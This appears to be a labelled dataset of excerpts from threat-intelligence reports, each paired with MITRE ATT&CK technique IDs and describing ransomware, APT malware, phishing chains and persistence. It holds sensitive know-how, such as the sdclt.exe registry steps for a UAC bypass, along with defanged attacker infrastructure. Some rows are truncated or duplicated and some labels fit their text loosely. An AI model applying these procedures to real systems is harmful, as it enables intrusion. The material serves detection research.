+Sodinokibi attempts to encrypt data in a user's directory and delete shadow copy backups to make data recovery more difficult. This vulnerability is easy for attackers to exploit, as anyone with HTTP access to the WebLogic server could carry out an attack. Attackers have been making use of this exploit in the wild since at least April 17. Initial stages of the ransomware attack occurred on April 25, the day before Oracle released their update. The attackers are downloading the Sodinokibi ransomware. In this case, the attackers simply leveraged the Oracle WebLogic vulnerability, causing the affected server to download a copy of the ransomware from attacker-controlled IP addresses 188.166.74[.]218 and 45.55.211[.]79. The 188.166.74[.]218 IP address is also home to a pair of other malicious domains unrelated to this ransomware attack: arg0s-co[.]uk, which is likely a phishing domain, and projectstore[.]guru, a domain with bogus PDF-related Google search results. The other IP, 45.55.211[.]79, hosts a pair of legitimate Chilean domains, and appears to have been infected and repurposed by the attackers. The attackers were ultimately successful at encrypting a number of systems during this incident. Cisco IR Services and Talos observed the attack requests originating from 130.61.54[.]136	['T1105']
+Exploits a kernel privilege escalation vulnerability to gain SYSTEM privileges using CVE-2018-8453. REvil uses Hypertext Transfer Protocol Secure (HTTPS) for communication with its controllers	['T1071.001']
+The attackers dropped Visual Basic and PowerShell scripts in folders that they created under the ProgramData (a hidden folder, by default). The attackers created persistence using Windows’ registry, services and scheduled tasks. This persistence mechanism ensured that the loader scripts would execute either at startup or at predetermined intervals	['T1053.005', 'T1547.001']
+ESET researchers have discovered several previously undocumented post-compromise tools used by the highly active Gamaredon threat group in various malicious campaigns. One tool, a VBA macro targeting Microsoft Outlook, uses the target’s email account to send spearphishing emails to contacts in the victim’s Microsoft Office address book. We also analyzed further Gamaredon tools that have the ability to inject malicious macros and remote templates into existing Office documents	['T1039', 'T1204.002', 'T1534', 'T1083']
+We have identified several implants that leveraged PowerShell, VBS, JS, and dotnet for resilience and persistence. The final stage, however, is a dotnet application that takes several commands such as directory listing, screenshot, compress, upload, etc. It then creates random long string folder names in temp directories to host the collected files per category before compressing, encrypting and uploading to the C2 server	['T1083']
+Initially, cybercriminals used BlackEnergy custom plugins for launching DDoS attacks. BlackEnergy2 was eventually seen downloading more crimeware plugins – a custom spam plugin and a banking information stealer custom plugin. While another crimeware group continues to use BlackEnergy to launch DDoS attacks, the BE2 APT appears to have used this tool exclusively throughout 2014 at victim sites and included custom plugins and scripts of their own. To be clear, our name for this actor has been the BE2 APT, while it has been called “Sandworm Team” also	['T1082']
+dellLemb||> deletes the registry key \Software\Microsoft\Internet Explorer\notes. EXECPROGAM calls ShellExecute to run the application given in the command. NOVOLEMBRETE creates and stores data sent with the command in the registry key \Software\Microsoft\Internet Explorer\notes	['T1070']
+Check for Skype connectivity - Download and install Skype - Encoded communication with its C2 - Execute commands sent from the C2 server - Get multifactor authentication settings - Get the currently logged on user and OS version	['T1132.001']
+"The fourth-stage wiper starts off by enumerating from A to Z, looking for fixed and remote logical drives in the system. Enumerates logical drives. For each enumeration, it performs a breadth-first search to wipe the files in the logical drive while ignoring files located in the ""%HOMEDRIVE%\Windows"" directory"	['T1049', 'T1082']
+1) The infection chain used in this attack begins with a weaponized link to a Google Drive folder, obfuscated using the goo.gl link shortening service. 2) When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. 3) This file requires the target to attempt to open the .lnk file, which redirects the user to a Windows Scripting Component (.wsc) file, hosted on an adversary-controlled microblogging page. MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs. 4) The .lnk file uses an embedded VBScript component to retrieve a decoy PDF file and a PowerShell script from the adversary-controlled web page. 6) The Cobalt Strike Beacon implant beacons to the command-and-control (C2) IP address, which is used to remotely control the implant	['T1036.007']
+WMIC (wmic.exe) was used to create a remote command prompt instance (cmd.exe), which then executed the PowerShell code. The PowerShell command created two variables and attempted to download and execute the payload from one of FIN8’s Command and Control (C&C) servers. This download was blocked by Bitdefender – below description is based on interpretation of variables discovered in our previous analysis of FIN8 operations	['T1059.001', 'T1105', 'T1059.003']
+mshlpweb.dll is a loader that uses a known token impersonation technique to elevate permissions and execute install.bat with high privileges. This process runs as a high-integrity process by default, since its set to auto-elevate within its manifest	['T1134.002']
+After downloading the executable payload, the secondary VBScript runs the following command on the command line (T1059) to kill any existing msiexec.exe process instances and use the ping application to sleep for two seconds before using the legitimate msiexec.exe application (T1218) to launch the downloaded PlayerVLC.msi file	['T1105']
+In all stages of the attack, the actor demonstrated a deep knowledge of software tools, deployments, security software and systems common in networks, and techniques frequently used by incident response teams. This knowledge is reflected in the actor’s operational decisions, from the choice of command-and-control (C2) infrastructure to the naming of scheduled tasks used to maintain persistence	['T1053.005']
+Once elevated, the ransomware will write a copy of a random file from System32 to the %APPDATA% directory. The newly copied file will have a random and hidden filename. This process allows for the ransomware to copy itself into the file by way of an alternate data stream (ADS	['T1564.004']
+"The Trojan sends an email to sahro.bella7[at]post.cz with sysscr.ops as the attachment, the string SCreen within the body and a subject with the unique system identifier via SMTPS from one of three previously used accounts. If the actor wishes to download an additional payload to the compromised host, they will respond by sending emails in the following steps. 3) The actor sends an email to trala.cosh2[at]post.cz with the unique system identifier as a subject with a secondary email account and credentials in ASCII hexadecimal format within the message body. This secondary email account is unknown at this time, so we will refer to it as ""secondary email account"" in future steps. 4) The actor sends an email to the secondary email account with the unique system identifier as a subject with a secondary payload attached with a filename of txt. Cannon opens the email with the correct subject and decodes the hexadecimal data in the body of the message to obtain the secondary email account. 7) The actor sends an email to trala.cosh2[at]post.cz with the unique system identifier as a subject with a file path that the Cannon Trojan will use to save the secondary payload. 8) Cannon logs into the secondary email account via POP3S looking for emails with a subject that matches the unique system identifier. Cannon opens the email with the correct subject and decodes the hexadecimal data in the body of the message to obtain the file path that it will use to move the downloaded auddevc.txt file. 12) Cannon moves the downloaded file to the specified path"	['T1105']
+Another relationship we have mentioned repeatedly is the use of the SYSCON malware family. This particular malware family was first reported in October 2017 and has been observed delivering decoy documents pertaining to North Korea. The malware is generally unsophisticated, making use of remote FTP servers for C2 communication	['T1071.002']
+It also conducts basic victim profiling activity, collecting the computer name, running process IDs, %TEMP% directory path and version of Internet Explorer. It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string. BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell. SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests	['T1071.001']
+This backdoor adds the following registry entries to enable its automatic execution at every system startup	['T1547.001', 'T1547.001']
+"Cisco Talos has discovered a new malware campaign based on a previously unknown family we're calling ""PoetRAT. The droppers are Microsoft Word documents that deploy a Python-based remote access trojan (RAT). We named this malware PoetRAT due to the various references to William Shakespeare, an English poet and playwright. The RAT has all the standard features of this kind of malware, providing full control of the compromised system to the operation. For exfiltration, it uses FTP, which denotes an intention to transfer large amounts of data. The campaign shows us that the operators manually pushed additional tools when they needed them on the compromised systems. We will describe a couple of these tools. The most interesting is a tool used to monitor the hard disk and exfiltrate data automatically"	['T1056.001']
+The batch-files appear to be used to load the Cobalt Strike beacon, but also to perform discovery commands on the compromised system	['T1059.003']
+The actor has distributed its dropper embedded in an archive file (외교부 가판 2021-05-07.zip) as an attachment through spearphishing emails. The archive file contains a JavaScript file (외교부 가판 2021-05-07.pdf.jse) which pretends to be a PDF file that contains two Base64 encoded blobs. The first one is the content of the decoy PDF file in Base64 format and the other one contains the AppleSeed payload also in Base64 format (encoded twice	['T1204.002', 'T1027']
+The Daum variants of Brave Prince gather information from the system and save it to the file PI_00.dat. The type of data this implant gathers from the victim’s system	['T1016', 'T1012']
+Collected files under the preliminary collection directory will be compressed using a WinRAR instance that the Ramsay Installer drops. This compressed archive will be saved within the preliminary collection directory and then generate a Ramsay container artifact	['T1083', 'T1560.001']
+As discussed in the delivery document analysis above, depending on the OS architecture either of the embedded KerrDown DLLs will be dropped in the victim machine. The DLL is dropped in the directory location ‘Users\Administrator\AppData\Roaming\’ as ‘main_background.png’. The DLL retrieves the payload from the URL, decrypts it by using DES algorithm and execute it in the memory. Therefore, it is observed that only the KerrDown DLL downloader is saved in the system and the payload directly gets executed in the memory without being written in the system. Table 1 shows the URL the downloader will attempt to download the payload from depending on the OS architecture of the victim machine	['T1105']
+To exploit the Log4j vulnerability (CVE-2021-44228), the attackers chose one of the publicly available open-source JNDI Exploit Kits, since removed from GitHub due to its enormous popularity following the vulnerability emergence. There are multiple analysis papers that explain how the vulnerability can be exploited, so we will skip the details of the actual exploitation step	['T1190']
+List of installed antivirus products - OS version - Username - Computer name - Whether any of the following software is installed: Diebold Warsaw GAS Tecnologia (an application to protect access to online banking) Trusteer Several Latin American banking applications - Diebold Warsaw GAS Tecnologia (an application to protect access to online banking) - Trusteer - Several Latin American banking applications	['T1518.001']
+All further information sent to the C&C is encrypted with a public key framework, making decryption impossible. The commands from the C&C are encrypted in a simpler manner and can be decrypted if intercepted because the secret key is hardcoded in the malware	['T1573.001']
+HELLOKITTY is written in C++, but reimplements a significant portion of DEATHRANSOM's functionality using similar loop operations and thread pooling via QueueUserWorkItem. The code structure to enumerate network resources, logical drives, and perform file encryption is very similar. Additionally, HELLOKITTY and DEATHRANSOM share very similar functions to check for the completion status of their encryption threads before exiting	['T1082', 'T1135']
+In our tests, running Valak from a U.S. location on a vulnerable Windows 10 host returned a banking Trojan called IcedID as the follow-up malware. In one case, we saw both IcedID and NetSupport Manager RAT-based malware delivered as follow-up malware on a Windows 7 host from June 2020	['T1105']
+AIRBREAK: a JavaScript-based backdoor also reported as “Orz” that retrieves commands from hidden strings in compromised webpages and actor controlled profiles on legitimate services. BADFLICK: a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command and control (C2) configuration. HOMEFRY: a 64-bit Windows password dumper/cracker that has previously been used in conjunction with AIRBREAK and BADFLICK backdoors. The malware accepts up to two arguments at the command line: one to display cleartext credentials for each login session, and a second to display cleartext credentials, NTLM hashes, and malware version for each login session. MURKYTOP: a command-line reconnaissance tool	['T1018', 'T1135', 'T1046', 'T1087.001']
+"Use of obfuscated shellcode executed via PowerShell to download a ""reverse_tcp"" payload from Metasploit onto victim systems"	['T1059.001']
+At the time of writing, two VBS files have been seen pushed to the target computer by VBShower	['T1105']
+Another difference in the network traffic generated from the malware is that the encoded proxy information has been added in the URL query values during the C2 communication. Table 4 shows the parameters sent to C2 server from the backdoor in the newer versions	['T1090.002']
+Filename: impku.dat:schemas File size: 608854 bytes MD5 hash: b774f39d31c32da0f6a5fb5d0e6d2892 SHA1 hash: ae3ff39c2a7266132e0af016a48b97d565463d90 Notes: Alternate data stream (ADS) PNG file with the PowerDuke backdoor component hidden and encrypted within using Tiny Encryption Algorithm (TEA	['T1564.004']
+After the victim clicks the Enable Content button, the macro commands are executed and invoke the Windows OS process msiexec.exe. This process is the Windows Installer, a software component and application programming interface of Microsoft Windows used for the installation, maintenance, and removal of software	['T1218.007']
+This turned out to be the best solution, as the Cobalt group set up a controlled botnet in the bank's network which was very difficult to track and even harder to stop. In october 2016 Group-IB published the report about the Cobalt group. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. For organizations that perform timely updates of their systems and adhere to strict security policies, the Cobalt group employs another method to deliver malicious code through emails with Word documents containing a malicious macro. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. Aside from that, startup is performed by loading Cobalt Strike into the main memory without saving to the file system. Bypassing network security Cobalt Strike allows users to install two types of modules: HTTP/HTTPS/DNS modules and SMB modules. Use of standard tools Cobalt Strike is publicly accessible, and can be downloaded in order to learn and create detection rules on the network. To prevent this threat, the company should configure filter rules to detect the above-mentioned tools on the corporate network. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed	['T1046']
+Initially, cybercriminals used BlackEnergy custom plugins for launching DDoS attacks. While another crimeware group continues to use BlackEnergy to launch DDoS attacks, the BE2 APT appears to have used this tool exclusively throughout 2014 at victim sites and included custom plugins and scripts of their own. To be clear, our name for this actor has been the BE2 APT, while it has been called “Sandworm Team” also	['T1555.003']
+All of the bait documents are MHTML ones with malicious macro embedded and the .doc suffix to bypass detection. Below is an example of bait document captured by 360 Threat Intelligence Center in February 2019	['T1059.005']
+2) The additional commands and execution objects are executed in the machine that has been compromised in the isolated network	['T1204.002']
+Beacon: a backdoor that is commercially available as part of the Cobalt Strike software platform, commonly used for pen-testing network environments. The malware supports several capabilities, such as injecting and executing arbitrary code, uploading and downloading files, and executing shell commands. BLACKCOFFEE: a backdoor that obfuscates its communications as normal traffic to legitimate websites such as Github and Microsoft's Technet portal. Used by APT17 and other Chinese cyber espionage operators	['T1102.001']
+Sibot is a dual-purpose malware implemented in VBScript. It is designed to achieve persistence on the infected machine then download and execute a payload from a remote C2 server. The VBScript is then run via a scheduled task	['T1053.005']
+The initial infection vector of this campaign is a Microsoft Office Excel Worksheet with an Office macro that uses the mshta.exe Windows executable to run scripts, which are embedded in the HTML of a specially-crafted blogspot.com page. The page, 29[.]html, contains two distinct sections of scripts. The scripts create scheduled tasks and also retrieve, decode, and execute a copy of Revenge RAT	['T1218.005']
+BRONZE UNION has also leveraged various web shells to collect and stage data for exfiltration. In one instance, the threat actor gained remote access to a high-value system in a compromised network, ran quser.exe to identify existing RDP sessions on the device, immediately ran a command to compile a RAR archive that specified file types the threat actor did not want, and used a password to encrypt the archive	['T1560.002', 'T1074.001', 'T1049']
+The loaded DLL retrieves the path to the Warzone malicious file from HKCU\SOFTWARE\_rptls\Install, iterates through running processes and kills the Warzone process if it already exists. Then it runs the Warzone executable again, this time with Admin privileges	['T1055']
+KillDisk has a numeric parameter that denotes the number of minutes (15 being the default) it will wait before it shuts down the affected machine. To try to reboot the machine, it will try to terminate these processes	['T1489']
+The backdoor determines its C2 server using a Domain Generation Algorithm (DGA) to construct and resolve a subdomain of avsvmcloud[.]com. The Update method is responsible for initializing cryptographic helpers for the generation of these random C2 subdomains. Subdomains are generated by concatenating a victim userId with a reversible encoding of the victims local machine domain name. The attacker likely utilizes the DGA subdomain to vary the DNS response to victims as a means to control the targeting of the malware. These subdomains are concatenated with one of the following to create the hostname to resolve	['T1568']
+Appendix A – PLAINTEE older variant Older variants of PLAINTEE can be identified via the unique mutex created during runtime. At least three variants of PLAINTEE have been identified to date, however, the following two samples have additional unique differences	['T1548.002']
+The fourth spear phishing email of the campaign was sent on January 23, 2018 to a range of targets working for Tibetan NGOs, media groups, and the CTA. The message appeared to be sent from the Director of the Tibet Museum, which is an official museum of the CTA. Attached to the email were RTF and PPSX messages that claimed to present information about the National Museum of Tibet (see Figure 5). These files contained the CVE-2017-11882 and TSSL Suite infection chain	['T1566.001']
+The threat actors used Windows’ scheduled task and batch scripts to execute “scr.exe” and collect additional information from hosts on the network. The tool “scr.exe” is a screenshot utility that the threat actor used to capture the screen of systems across the network. The MD5 hash of “scr.exe” matched the MD5 of ScreenUtil, as reported in the Symantec Dragonfly 2.0 report	['T1059.003', 'T1113']
+Finally, the script stores the encrypted payload in the Windows registry. Note that the attackers seem to use a different registry location per organization. Thus, it is not a useful indicator to detect similar intrusions	['T1112']
+HyperStack uses named pipes to execute remote procedure calls (RPC) from the controller to the device hosting the HyperStack client. To move laterally, the implant tries to connect to another remote device’s IPC$ share, either using a null session or default credentials. IPC$ is a share that facilitates inter-process communication (IPC) by exposing named pipes to write to or read from. If the implant’s connection to the IPC$ is successful, the implant can forward RPC commands from the controller to the remote device, and likely has the capability to copy itself onto the remote device	['T1559', 'T1078.001']
+At the time of discovery TEARDROP was a novel concoction: never-before-seen, possibly even tailor-made for this attack. TEARDROP runs in-memory but it does register a Windows service, which involves editing the registry	['T1112']
+Hooking module – hooks a hardcoded set of WinAPI and (if they exist) Mozilla DLL Hooking is used to perform web injects, sniff traffic and keyboard data and even prevent DNS resolution of certain domains. Hooking works in the following way: QakBot injects a hooking module into the appropriate process, the module finds functions from the hardcoded set and modifies the functions so they jump to custom code	['T1055']
+Curiously, the same private session key is also encrypted with another public key hardcoded into the body of the Trojan, regardless of the configuration. It turns out that someone who knows the private key corresponding to the public skeleton key is able to decrypt the victim’s files, even without the private key for sub_key. It seems like the Trojan developers built a loophole into the algorithm allowing them to decrypt files behind the distributors’ back	['T1486']
+The APT group has used web hosting credentials—stolen from victims outside of their usual targets—to host their malicious scripts and tools. Kimsuky likely obtained the credentials from the victims via spearphishing and credential harvesting scripts. On the victim domains, they have created subdomains mimicking legitimate sites and services they are spoofing, such as Google or Yahoo mail. 14] - Kimsuky has also sent benign emails to targets, which were possibly intended to build trust in advance of a follow-on email with a malicious attachment or link. Posing as South Korean reporters, Kimsuky exchanged several benign interview-themed emails with their intended target to ostensibly arrange an interview date and possibly build rapport. The APT group invited the targets to a Skype interview on the topic of inter-Korean issues and denuclearization negotiations on the Korean Peninsula. Posing as South Korean reporters, Kimsuky exchanged several benign interview-themed emails with their intended target to ostensibly arrange an interview date and possibly build rapport. After a recipient agreed to an interview, Kimsuky sent a subsequent email with a malicious document, either as an attachment or as a Google Drive link within the body. The document usually contained a variant of BabyShark malware (see the Execution section for information on BabyShark). When the date of the interview drew near, Kimsuky sent an email canceling the interview. Kimsuky tailors its spearphishing and social engineering approaches to use topics relevant to the target, such as COVID-19, the North Korean nuclear program, or media interviews	['T1583.001']
+In the newer attack flows we observed, we once again found valid Certum certificates were used to sign the Bandook malware executable	['T1553.002']
+The latter does not use libcurl anymore and now uses winhttp to perform all requests to C2. The usage of the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key has a persistence mechanism that has been replaced by the creation of a service. The C2 path pattern has also changed, we have identified the following paths: ini.php, info.php and parse_ini_file.php, which are no longer random nor animal named based	['T1547.001']
+For the first time, the Bisonal developers decided to use a packer: MPRESS. The Bisonal string also disappears from the binary however the workflow of the malware stays the same and some features are copy/pasted from the previous Bisonal variant	['T1027.002']
+Throughout the spear-phishing campaign, the threat actors used email attachments to leverage legitimate Microsoft Office functions for retrieving a document from a remote server using the Server Message Block (SMB) protocol. Note: transfer of credentials can occur even if the file is not retrieved. After obtaining a credential hash, the threat actors can use password-cracking techniques to obtain the plaintext password. With valid credentials, the threat actors are able to masquerade as authorized users in environments that use single-factor authentication	['T1078']
+The emails first originated from a spoofed sender that impersonated a Meetings Services Assistant at the United Nations General Assembly Secretariat. The threat actor achieved this impersonation by utilizing the legitimate email marketing service SMTP2Go, which allows users to alter the envelope sender field while using a unique sender address generated by the service	['T1585.002']
+The new spear-phishing docs used by MuddyWater rely on social engineering to persuade users to enable macros. The attackers rely on a range of compromised hosts to deliver their attacks	['T1566.001']
+FANCY BEAR adversary used different tradecraft, deploying X-Agent malware with capabilities to do remote command execution, file transmission and keylogging	['T1105']
+The next program sent to victims enumerates all the drives on the infected system and executes the following command on them	['T1083']
+Once explorer.exe is running, the service configures the environment and executes the C2 contact module: winprint32.exe. This module is responsible for launching the document search module, contact the C2 and exfiltrate the collected documents	['T1020', 'T1041']
+To initially gain access to the environment, Managed Defense analysts identified that FIN6 compromised an internet facing system. Following the compromise of this system, analysts identified FIN6 leveraged stolen credentials to move laterally within the environment using the Windows’ Remote Desktop Protocol (RDP	['T1003.001', 'T1021.001', 'T1078']
+"Use of Open Source Tools In an attempt to avoid detection and as an anti-analysis tactic, the OilRig group abused an open source tool called Invoke-Obfuscation to obfuscate the code used for QUADAGENT. Invoke-Obfuscation is freely available via a Github repository and allows a user to change the visual representation of a PowerShell script simply by selecting the desired obfuscation techniques. Invoke-Obfuscation offers a variety of obfuscation techniques, and by analyzing the script we were able to ascertain the specific options in this attack. After identifying the specific options used to obfuscate QUADAGENT, we were able to deobfuscate the PowerShell script and perform additional analysis. We found two obfuscation techniques applied to the script: the first one changing the representation of variables; the second one changing the representation of strings in the script. Invoke-Obfuscation calls the string obfuscation used by the actors to further obfuscate this script Reorder, which uses the string formatting functionality within PowerShell to reconstruct strings from out of order substrings (ex. 1}{0}"" -f 'bar','foo'). During our analysis, we installed Invoke-Obfuscation and used it to obfuscate a previously collected QUADAGENT sample to confirm our analysis. We captured the commands we ran in Invoke-Obfuscation in the animation in Figure 3 below, which visualizes the steps the threat actor may have taken to create the payload delivered in this attack"	['T1059.003']
+"The purpose of this tool is to parse the hard drive for files with a specific extension and create an archive with these files. Afterward, the module will delete old ""sft"" files assuming they were already exfiltrated. After a pause of 6,500 milliseconds, it will start its search for the targeted files. SFT file creation routine Using the working directory as a base path, which in this sample case is C:\DOCUME~1\<USER>~1\LOCALS~1\Temp\4CA-B25C11-A27BC\, each selected file will be compressed into the file kr.zp"	['T1083']
+Cookie Notice . This website uses cookies to help personalize and improve your experience. By Continuing to use this site, you are consenting to the use of cookies. Further research into the IP address hosting the spoofed page revealed a broader campaign to steal credentials. Countries with targeted universities. Source: Secureworks) . After entering their credentials into the fake login page, victims were redirected to the legitimate website where they were automatically logged into a valid session or were prompted to enter their credentials again. Numerous spoofed domains referenced the targeted universities' online library systems, indicating the threat actors' intent to gain access to these resources. CTU™ researchers were unable to confirm functionality of all identified spoofed pages because some of the domains were not accessible at the time of analysis. Domain registrations indicate the infrastructure to support this campaign was still being created when CTU researchers discovered the activity. A domain registered in May 2018 also contained subdomains spoofing university targets. These subdomains redirected visitors to spoofed login pages on other attacker-controlled domains	['T1583.001']
+T1566.001: Spearphishing Attachment - T1566.002: Spearphishing Link - T1566.003: Spearphishing via Service - - - T1204.001: Malicious Link - T1204.002: Malicious File - T1059: Command and Scripting Interpreter T1059.005: Visual Basic - T1059.005: Visual Basic - - T1053.005: Scheduled Task - T1129: Shared Modules - T1106: Native API - T1047: Windows Management Instrumentation - - T1027: Obfuscated Files or Information T1027.002: Software Packing - T1027.002: Software Packing - T1553: Subvert Trust Controls T1553.002: Code Signing - T1553.002: Code Signing - T1218: Signed Binary Proxy Execution T1218.010: Regsvr32 - T1218.010: Regsvr32 - - T1497.001: System Checks - T1497.002: User Activity Based Checks - T1497.003: Time Based Evasion - T1112: Modify Registry - T1070: Indicator Removal on Host T1070.004: File Deletion - T1070.004: File Deletion - T1140: De-obfuscate/Decode Files or Information - - - T1090.003: Multi-hop Proxy - T1105: Ingress Tool Transfer - - T1055: Process Injection T1055.012: Process Hollowing - T1055.012: Process Hollowing - - T1082: System Information Discovery - T1049: System Network Connections Discovery - T1016: System Network Configuration Discovery - T1057: Process Discovery - T1033: System Owner/User Discovery - T1518: Software Discovery T1518.001: Security Software Discovery - T1518.001: Security Software Discovery - Persistence T1546: Event Triggered Execution T1547: Boot or Logon Autostart Execution T1547.001: Registry Run Keys / Startup Folder - T1546: Event Triggered Execution - T1547: Boot or Logon Autostart Execution T1547.001: Registry Run Keys / Startup Folder - T1547.001: Registry Run Keys / Startup Folder	['T1070.004']
+After the execution of rundll32.exe, the PowerShell script enu.ps1 is executed. This script is encoded with Base64 in order to avoid detection by antivirus products	['T1027']
+"Config.json"" is a mining config file for XMRig, an open-source Monero miner. The file sets the mining pool as xmr[.]pool[.]MinerGate[.]com:45700 and the actor's wallet as rocke@live.cn. This configuration file contains the same actor pool and wallet information as the first. If the shell scripts do not download a miner from 118[.]24[.]150[.]172, they attempt to download a file called ""XbashY"" from 3g2upl4pq6kufc4m[.]tk. TermsHost.exe"" is a PE32 Monero miner. Based on the config file it uses, it appears to be the Monero Silent Miner. This miner can be purchased online for $14 and targets malicious actors. Advertising for the miner promotes it as offering startup registry key persistence, mining only while idle, and the ability to inject the miner into ""Windows processes to bypass firewalls. The sample grabs the config file ""xmr.txt,"" which contains the same configuration information as the previous files, from Rocke's command and control (C2) server hosted on sydwzl[.]cn. The sample also creates the UPX-packed file ""dDNLQrsBUE.url"" in the Windows Start Menu Folder"	['T1547.001']
+"Config.json"" is a mining config file for XMRig, an open-source Monero miner. The file sets the mining pool as xmr[.]pool[.]MinerGate[.]com:45700 and the actor's wallet as rocke@live.cn. If the shell scripts do not download a miner from 118[.]24[.]150[.]172, they attempt to download a file called ""XbashY"" from 3g2upl4pq6kufc4m[.]tk. TermsHost.exe"" is a PE32 Monero miner. Based on the config file it uses, it appears to be the Monero Silent Miner. This miner can be purchased online for $14 and targets malicious actors. Advertising for the miner promotes it as offering startup registry key persistence, mining only while idle, and the ability to inject the miner into ""Windows processes to bypass firewalls. The sample grabs the config file ""xmr.txt,"" which contains the same configuration information as the previous files, from Rocke's command and control (C2) server hosted on sydwzl[.]cn. The sample also creates the UPX-packed file ""dDNLQrsBUE.url"" in the Windows Start Menu Folder. Intriguingly, this file appears to share some similarities with Cobalt Strike, the popular penetration testing software, which would allow the attacker to have greater control over the infected system"	['T1027.002']
+The ROKRAT author implements several techniques typically seen to frustrate human analysts and avoid sandbox execution. First, the malware does not run on Windows XP systems. The code used to perform this task: The malware checks the process names in use on the victim machine. It compares if the executed process name matches a partial name hardcoded in the sample. Here is the complete list	['T1057']
+In this version, a shortcut is created in order to launch winnit.exe in the following path %USERPROFILE%\Start Menu\Programs\Startup\Anti virus service.lnk. As in the previous version, the ID of the infected system is generated with exactly the same method. The C2 is different and the analysed version this time only contains a single domain	['T1547.001']
+If yes, it generates an RSA PKCS key using CryptGenKey that is used for encryption of communication session keys. It then writes the RSA key to the PRVK key in the [Version] section of the config file. Turla’s Carbon backdoor also implements RSA encryption on the session keys for some of its C&C channels	['T1573.002']
+root/.ssh/{id_rsa, id_rsa.pub} – the SSH pair key used to update the miner from the C&C server using SCP. opt/{bootsync.sh, bootlocal.sh} – the system startup commands that try to update the miner from the C&C server and run it (see Scripts 7 and 8	['T1105']
+Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. Datper uses an RC4-encrypted configuration to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use malware to upload the large list of enumerated files to the C2 server. Use downloaders or other malware to send the new list to a compromised host. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity	['T1071.001']
+Hardcore Nationalist group SideWinder is a threat group active since 2012 according to Kaspersky. This group mainly targets Pakistanis and Chinese military & government entities’ windows machines. They also target mobile phone devices. This is the second time this group is using COVID-19 theme to lure victims, thereby capitalizing on the fear of global pandemic. Sidewinder aka HN2 is believed to be an Indian state sponsored group. A detailed analysis of SideWinder attacks on Pakistani military officials was also published in April	['T1204.002', 'T1204.001']
+The SolarWinds Orion API is vulnerable to authentication bypass that could allow a remote attacker to execute API commands	['T1203']
+Grandoreiro’s DGA uses two strings (prefix and suffix) hardcoded in the binary and the local date as inputs. Note that based on the DGA, a different website is required for each day. We have observed some variants also using a custom base64 alphabet	['T1568.002']
+WastedLocker will attempt to encrypt files on local as well as remote (network adjacent and accessible) and removable drives	['T1135']
+The infection chain starts with an email in which the victim receives a download link that fetches the first-stage downloader. As we found in our analysis, this first-stage downloader is responsible for fetching a malicious MSI file hosted on an attacker-controlled GitHub page. This MSI file is downloaded and executed on the endpoint. As a result, a malicious Python-compiled binary is dropped on the file system, which uses the Dropbox API for command-and-control (C&C) communication	['T1566.002', 'T1105', 'T1102.002', 'T1204.001']
+At the second stage, the attackers remotely connected to the device and scanned the local network seeking to gain access to public shared folders, web servers, and any other open resources. The aim was to harvest information about the network, above all, servers and workstations used for making payments. At the same time, the attackers tried to brute-force or sniff login data for such machines. If the firewall blocked access from one segment of the network to another, but allowed a reverse connection, the attackers used a different payload to build tunnels	['T1040']
+As a result of all of the above actions, when attempting to surf the web, the user’s web browser will first ask the attacker web page on TOR for proxy settings. The user traffic is then redirected through a proxy controlled by the attacker, who carries out a Man-In-the-Middle attack and impersonates the various sites the user attempts to surf. The attacker is free to read the victim’s traffic and tamper with it in any way they please	['T1557']
+After execution, Ragnar Locker Ransomware encrypts the files and adds the extension “.ragnar” and an 8 digit number	['T1486']
+When referring to additional plugins, it is worth noting that in early versions of Valak the plugins were downloaded by the second stage JS via PowerShell. More recent versions of Valak abandoned the popular yet easily detectable PowerShell downloader approach and transitioned to PluginHost as a means of managing and downloading additional payloads. This transition indicates that the Valak authors are looking for stealthier approaches and ways to improve their evasion techniques	['T1059.001']
+Controlled by Micropsia operators, the malware is able to register to an event of USB volume insertion to detect new connected USB flash drives. Once an event is triggered, Micropsia executes an RAR tool to recursively archive files based on a predefined list of file extensions (*.xls, *.xlsx, *.csv, *.odt, *.doc, *.docx, *.ppt, *.pptx, *.pdf, *.mdb, *.accdb, *.accde, *.txt	['T1560.001', 'T1119']
+We were able to source a sample that may be the malware involved in the May 2018 attacks. We ran it, and it broke the boot sector as expected (see Figure 1). An initial analysis of the file revealed it was created using Nullsoft Scriptable Install System (NSIS), an open-source application used to create setup programs. The actor behind this threat used the application and purposely named it “MBR Killer. There are no indications of network-related behavior in this malware	['T1027']
+In some attacks, Whitefly has used a second piece of custom malware, Trojan.Nibatad. Like Vcrodat, Nibatad is also a loader that leverages search order hijacking, and downloads an encrypted payload to the infected computer. And similar to Vcrodat, the Nibatad payload is designed to facilitate information theft from an infected computer	['T1027']
+Creates a new registry key HKCU\Software\Classes\Folder\shell\open\command - Sets the “Default” value to “path of the malware” - Creates a value “DelegateExecute” and sets the value to “0” - Executes %systemDirectory%sdclt.exe to bypass the UAC as shown below (figure 7	['T1112']
+These two files, keyword_parm.txt and parm.txt contain instructions for MESSAGETAP to target and save contents of SMS messages	['T1560.003']
